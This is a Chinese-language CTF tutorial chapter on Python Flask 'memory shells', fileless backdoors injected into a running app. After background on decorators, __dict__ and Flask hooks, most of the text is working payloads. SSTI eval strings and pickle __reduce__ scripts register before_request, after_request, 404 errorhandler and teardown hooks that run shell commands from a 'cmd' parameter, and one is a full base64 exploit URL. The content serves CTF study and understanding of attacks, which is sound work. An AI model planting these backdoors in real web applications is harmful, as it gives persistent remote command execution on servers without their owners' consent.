在无回显 SSTI 中,我们经常听到有的人选择”打内存马”,在第二章中我也提供了内存马的部分 payload
但究竟什么是内存马,内存马的工作原理到底是什么样的?
本章我们就来一探究竟(python 安全前置多,有点长,一定要坚持一下)
绪论
内存马的含义
内存马,可以理解为无文件马。在服务器不允许存在 webshell,或者题目环境不出网,无法反弹 shell 时使用
内存马(Memory Shell)是一种无文件落地的攻击技术,将恶意代码注入到进程内存中执行,绕过文件系统检测。
其本质是在已运行 Python 进程中动态注入代码,不写入磁盘,重启后消失。
注入方式:
- 利用
exec() / eval() 动态执行代码
- 利用
import 钩子劫持模块导入
- 利用 WSGI/ASGI 框架的路由动态注册
- 利用
sys.modules 篡改已有模块
攻击链路
- 获取目标 Python 应用代码执行入口(RCE、SSTI、反序列化等)
- 执行内存马注入 payload
- 内存马常驻进程,等待触发
- 攻击者通过 HTTP/其他协议触发恶意功能
Python 内存马的类型
大概有这么几种类型,作为前置知识,我们先混个脸熟
这里可能不清楚中间件的含义
中间件的含义
中间件是 Web 框架中位于请求与响应之间的处理层。它像一个”安检通道”,每个请求进入时必须依次通过所有中间件才能到达业务代码,响应返回时也要再次经过。
中间件可以:
- 拦截请求(如未登录直接拒绝)
- 修改请求/响应(如添加 headers)
- 记录日志、限流、加解密
本质是包裹在业务逻辑外层的钩子函数,实现横切关注点的解耦。
中间件是所有请求必经之路,因此内存马选择利用中间件,形如这样
1 2 3 4 5 6
| @app.before_request def 后门(): if request.args.get('cmd'): import os return os.popen(request.args.get('cmd')).read()
|
任何人访问 /?cmd=whoami 就能执行命令,且不会影响正常业务。
我们之前的 pickle 反序列化,也属于中间件的注入–植入的类创建/注入了一个中间件,__reduce__ 用于触发中间件注入
而我们在本章讨论的,是 python_flask 内存马的注入问题
语法基础
在学习 Flask 内存马注入之前,我们需要掌握一些必要的语法知识
闭包
函数内部定义函数,多个括号作为函数执行器用于执行嵌套函数
1 2 3 4 5 6 7 8 9
| def make_middleware(): def middleware(): print("我是中间件") return middleware
my_middle = make_middleware() my_middle()
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| def make_middleware(): def middleware(): print("我是中间件") return middleware
result = make_middleware() print(result)
make_middleware()()
|
装饰器
在 Python 里,函数可以像变量一样传来传去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| def say_hello(): return "Hello"
my_func = say_hello print(my_func())
def greet(func): print("准备打招呼...") result = func() print("打完招呼了") return result
def say_hello(): return "Hello"
greet(say_hello)
def make_greeter(): def greeter(): return "Hello from inner" return greeter
new_func = make_greeter()
print(new_func())
|
装饰器的基本语法是这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| def wrap(func): def new_func(): print("开始") result = func() return result return new_func
@wrap def hello(): return "Hello"
print(hello())
|
要注意的一点就是红色字体:
手动调用 hello() 走的是包装后的函数,包装函数内部调用的是原函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| print(hello()) │ └── hello() 被调用 │ └── hello 实际是 wrap(hello) 返回的 new_func │ └── 执行 new_func() │ ├── 1. print("开始") │ ├── 2. result = func() │ │ │ └── func 是原来的 hello() │ │ │ └── 返回 "Hello" │ └── 3. return result → 返回 "Hello" └── print 打印 "Hello"
|
dict 和动态属性
__dict__的含义和作用
__dict__ 是存放对象属性的字典。
1 2 3 4 5 6
| class Person: def __init__(self, name): self.name = name
p = Person("Tom") print(p.__dict__)
|
__dict__可以用于操作属性,像这样
1 2 3 4 5 6 7 8 9 10 11
| p.__dict__['name']
p.__dict__['name'] = "Jerry"
p.__dict__['age'] = 18
del p.__dict__['age']
|
Flask 中的 dict
1 2 3 4 5 6 7 8 9 10 11 12
| from flask import Flask app = Flask(__name__)
print(app.__dict__.keys())
app.view_functions
app.before_request_funcs
|
内存马对 dict 的利用
1 2 3 4 5 6 7 8 9 10 11 12
| @app.route('/shell') def shell(): return "backdoor"
app.__dict__['view_functions']['shell'] = lambda: "backdoor"
app.__dict__['before_request_funcs'].setdefault(None, []).append( lambda: "backdoor" )
|
__dict__ 就是对象的属性字典,内存马就是往这个字典里塞后门函数,像这样
1 2
| # 核心代码 app.__dict__['view_functions']['/shell'] = 后门函数
|
Flask 核心概念
关于 Flask,有这些知识是应知应会的
Flask 应用对象–app
1 2 3 4
| from flask import Flask app = Flask(__name__)
|
如何理解这个对象 这个对象可以干什么?
– app 对象是 Flask 的核心,控制了整个 Web 应用的行为。谁拿到了 app 对象,谁就能控制整个网站
它能够管理路由
1 2 3 4 5
| @app.route('/') def index(): return "Hello"
|
管理中间件(请求拦截器)
1 2 3 4 5
| @app.before_request def log(): print("有人来了")
|
管理配置
1 2 3 4
| app.config['SECRET_KEY'] = 'xxx' app.config['DEBUG'] = True
|
管理所有属性和功能
1 2 3 4 5
| app.view_functions app.before_request_funcs app.config app.__dict__
|
我们可以对应一下内存马的打法
1 2 3 4 5 6 7 8 9 10 11 12
| @app.route('/shell') def shell(): return "backdoor"
app.__dict__['view_functions']['shell'] = lambda: "backdoor"
app.__dict__['before_request_funcs'].setdefault(None, []).append( lambda: "backdoor" )
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ┌─────────────────────────────────────────────┐ │ app 对象(公司总部) │ ├─────────────────────────────────────────────┤ │ │ │ 📁 view_functions(路由表) │ │ ├── '/' → index 函数 │ │ ├── '/login' → login 函数 │ │ └── '/shell' → 后门函数(内存马加的) │ │ │ │ 📁 before_request_funcs(保安列表) │ │ ├── 日志函数 │ │ ├── 权限检查函数 │ │ └── 后门函数(内存马加的) │ │ │ │ 📁 config(配置) │ │ ├── SECRET_KEY = "xxx" │ │ └── DEBUG = True │ │ │ │ 📁 __dict__(所有抽屉的钥匙) │ │ └── 可以找到上面所有东西 │ └─────────────────────────────────────────────┘
|
总之 app 作为 flask 核心。拿到 app 对象后,攻击者可以:
1 2 3 4
| app.view_functions['/backdoor'] = 恶意函数 app.before_request_funcs[None].append(恶意函数) app.config['SECRET_KEY'] = 'hacked'
|
路由系统
1 2 3 4 5 6 7
| @app.route('/') def index(): return "Hello"
app.add_url_rule('/shell', 'shell', lambda: "backdoor")
|
请求上下文
1 2 3 4 5 6 7
| from flask import request, current_app
@app.route('/') def index(): print(request.args.get('cmd')) print(current_app.config)
|
应用上下文
1 2 3 4 5 6
| with app.app_context(): current_app.config
app = current_app._get_current_object()
|
以上都是内存马利用的核心,后续我们也会再次提到
Flask 内部结构(理解原理)
关键属性
1 2 3 4 5
| app.view_functions app.before_request_funcs app.after_request_funcs app.url_map app.wsgi_app
|
关键方法
1 2 3 4
| app.add_url_rule() app.dispatch_request() app.make_response() app.process_response()
|
Flask 钩子函数
钩子函数就是在请求处理的不同阶段自动执行的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from flask import Flask app = Flask(__name__)
@app.before_request def before(): print("1. 请求来了,先执行我")
@app.after_request def after(response): print("3. 请求结束了,最后执行我") return response
@app.before_first_request def first(): print("0. 服务器启动后第一个请求来之前执行")
@app.teardown_request def teardown(error): print("4. 收尾工作,关闭数据库连接等")
|
拥有这样的执行顺序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| **第一个请求:** before_first_request ← 只执行一次 ↓ before_request ← 每次请求都执行 ↓ 视图函数(你的业务代码) ↓ after_request ← 每次请求都执行 ↓ teardown_request ← 每次请求都执行
**后续请求:** before_request ↓ 视图函数 ↓ after_request ↓ teardown_request
|
在内存马中,我们像这样利用钩子函数
1 2 3 4 5 6 7 8 9 10 11
| @app.before_request def backdoor(): cmd = request.args.get('cmd') if cmd: import os return os.popen(cmd).read()
|
Python 魔术方法
这个学过了,我们一笔带过
1 2 3 4 5 6 7 8
| import pickle
class Payload: def __reduce__(self): return (print, ('Hello',))
pickle.loads(pickle.dumps(Payload()))
|
1 2 3
| print(request.__globals__) print(__builtins__)
|
Flask 内存马漏洞利用
说了这么多前置知识,终于可以开始我们的漏洞利用了
Flask 内存马漏洞可以在存在 SSTI,或 pickle 反序列化的地方利用,当然除了这两个地方,还有许多应用
场景,这里只聚焦 SSTI 和 pickle 反序列化这两个场景的内存马利用
实际上,这两种方法的本质都是在能执行 Python 代码的地方,找到 app 对象,添加后门钩子。
下面这些方法,有的环境兼容性还是还可以的,有的就只能当个备用
[荐]利用 before_request()
这里分别阐述 SSTI 和 pickle 反序列化时如何使用内存马,并用一个实验展示
SSTI 方法
1
| {{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('ls').read())")}}
|
拆看来看就是先找到 eval 呗,然后执行下面这一串
1
| __import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('ls').read())
|
大概流程像这样
1 2 3 4 5 6 7
| __import__('sys') .modules['__main__'] .__dict__['app'] .before_request_funcs.setdefault(None,[]).append( lambda: __import__('os').popen('ls').read() )
|
这样,我们打开浏览器访问:http://target.com/页面显示的不是正常内容,而是 ls 命令的结果(因为钩子返回了命令结果,直接替换了正常页面)
在题目中我们直接注入点输入
1
| {{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('env').read())")}}
|
被成功解析后再度访问网站首页,因为是 before_request(思考一下执行原理),输入的命令就被执行了

pickle 反序列化方法
没啥说的,脚本在这了
意思就是在发请求之前加一个 get 传参,并用 subprocess 模块以命令执行这个参数
相当于以内存马的形式添加了个请求前的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import pickle import base64
class Malicious: def __reduce__(self): code = """ import sys app = sys.modules['__main__'].__dict__.get('app') if app: app.before_request_funcs.setdefault(None, []).append( lambda: __import__('subprocess').getoutput( __import__('flask').request.args.get('cmd') ) if __import__('flask').request.args.get('cmd') else None ) """ return (exec, (code,))
payload = pickle.dumps(Malicious()) payload_b64 = base64.b64encode(payload).decode() print(payload_b64)
|
题目里面直接让这个程序的结果被 pickle 反序列化,然后主页传任意命令就行了
1
| http://node5.anna.nssctf.cn:27899/calc?payload=gAWVVAEAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFg1AQAACmltcG9ydCBzeXMKYXBwID0gc3lzLm1vZHVsZXNbJ19fbWFpbl9fJ10uX19kaWN0X18uZ2V0KCdhcHAnKQppZiBhcHA6CiAgICBhcHAuYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKAogICAgICAgIGxhbWJkYTogX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmdldG91dHB1dCgKICAgICAgICAgICAgX19pbXBvcnRfXygnZmxhc2snKS5yZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKQogICAgICAgICkgaWYgX19pbXBvcnRfXygnZmxhc2snKS5yZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKSBlbHNlIE5vbmUKICAgICkKlIWUUpQu
|

利用 after_request()方法
大差不差吧
SSTI 方法
1
| {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
|
有点长,核心步骤大概像这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
|
app.after_request_funcs.setdefault(None, []).append(某个函数)
lambda resp: CmdResp if 条件 else resp
request.args.get('cmd') and exec(...) == None
exec( "global CmdResp; " "CmdResp = __import__('flask').make_response(" " __import__('os').popen(request.args.get('cmd')).read()" ")" )
""" 场景:用户访问 /?cmd=whoami
1. 视图函数执行,返回原始响应 resp(比如 "Hello")
2. 进入 after_request 钩子(刚添加的 lambda 函数) ├── 检查 request.args.get('cmd') → 有,值为 "whoami" ├── 执行 exec(...) │ ├── global CmdResp │ ├── 执行 os.popen('whoami').read() → 得到 "root" │ └── 用 make_response 包装成 Flask 响应对象,赋值给 CmdResp ├── exec 返回 None,条件成立 └── 返回 CmdResp(命令结果)
3. 用户收到 "root",而不是原来的 "Hello" """
|
输进去让 jinja2 执行了以后,payload:?cmd=…就行了,这里就不截图了,实验通过了的
pickle 反序列化方法
还是沿用 subprocess,传 cmd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import pickle import base64
class Malicious: def __reduce__(self): code = """ import sys app = sys.modules['__main__'].__dict__.get('app') if app: app.after_request_funcs.setdefault(None, []).append( lambda resp: __import__('subprocess').getoutput( __import__('flask').request.args.get('cmd') ) if __import__('flask').request.args.get('cmd') else resp ) """ return (exec, (code,))
payload = pickle.dumps(Malicious()) payload_b64 = base64.b64encode(payload).decode() print(payload_b64)
|
[荐]利用 errorhandler()方法
这个装饰器在其内部定义了一个用于注册错误处理函数的函数 。当用户请求了一个不存在的 URL 时,Flask 会调用 page_not_found 函数,如果能操控 404 页面返回的东西,那就可以执行任意代码了
SSTI 方法
1
| {{ url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].errorhandler(404)(lambda e: __import__('subprocess').getoutput(__import__('flask').request.args.get('cmd')))") }}
|

返回的是这个
我们只要访问一个不存在的路由,传 cmd 就能执行命令了

pickle 反序列化方法
访问不存在的路由,你不输指令就是返回 0,你传?cmd 就能 RCE 了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import pickle import base64
class P: def __reduce__(self): code = """ import sys from flask import make_response
app = sys.modules['__main__'].__dict__.get('app') if app: def backdoor(e): import subprocess from flask import request cmd = request.args.get('cmd') if cmd: return subprocess.getoutput(cmd) return "0" app.error_handler_spec.setdefault(None, {}) app.error_handler_spec[None][404] = {Exception: backdoor} """ return (exec, (code,))
print(base64.b64encode(pickle.dumps(P())).decode())
|
太牛皮了

利用 teardown_request()方法
这玩意注册在每一个请求的末尾,不管是否有异常,每次请求的最后都会执行
先说 SSTI 吧
SSTI 方法
好像用不了,实验没成功
1
| {{ url_for.__globals__['__builtins__']['eval']("app.teardown_request_funcs.setdefault(None, []).append(lambda: __import__('subprocess').Popen('ls', shell=True))") }}
|
pickle 反序列化方法
也没法用,看环境吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import pickle import base64
class Malicious: def __reduce__(self): code = """ import sys app = sys.modules['__main__'].__dict__.get('app') if app: def cleanup(): __import__('subprocess').getoutput('ls') app.teardown_request_funcs.setdefault(None, []).append(cleanup) """ return (exec, (code,))
payload = pickle.dumps(Malicious()) print(base64.b64encode(payload).decode())
|
利用 teardown_appcontext()方法
flask 为上下文提供了一个 teardown_appcontext 钩子,使用它注册的回调函数会在程序上下文被销毁时调用,通常也在请求上下文被销毁时调用.某些情况下这个函数和**@teardown_request**的行为是类似的,一个是请求上下文被销毁时被调用,另一个是应用上下文被销毁时调用.
比如你需要在每个请求处理结束后销毁数据库连接:app.teardown_appcontext 装饰器注册的回调函数需要接收异常对象作为参数,当请求被正常处理时这个参数将是 None,这个函数的返回值将被忽略.
环境也不是特别支持,当个备用吧
SSTI 方法
1
| {{ config.__class__.__init__.__globals__['__builtins__']['eval']("app.teardown_appcontext_funcs.append(lambda x: __import__('os').popen('calc').read())") }}
|
1
| {{ url_for.__globals__['__builtins__']['eval']("app.teardown_appcontext_funcs.append(lambda x: __import__('os').popen('calc').read())") }}
|
pickle 反序列化方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import pickle import base64
class Malicious: def __reduce__(self): code = """ import sys app = sys.modules['__main__'].__dict__.get('app') if app: def cleanup(x=None): __import__('os').popen('calc').read() if hasattr(app, 'teardown_appcontext_funcs'): app.teardown_appcontext_funcs.append(cleanup) else: app.teardown_request_funcs.setdefault(None, []).append(cleanup) """ return (exec, (code,))
payload = pickle.dumps(Malicious()) print(base64.b64encode(payload).decode())
|
实验
实验就不做了,教程中演示的已经比较清楚了
总结
正如卷首说的,内存马,可以理解为无文件马。在服务器不允许存在 webshell,或者题目环境不出网,无法反弹 shell 时使用。如果无回显的题目它文件根本不可写,我们就可以使用这样的内存马。
本章结束**🎆**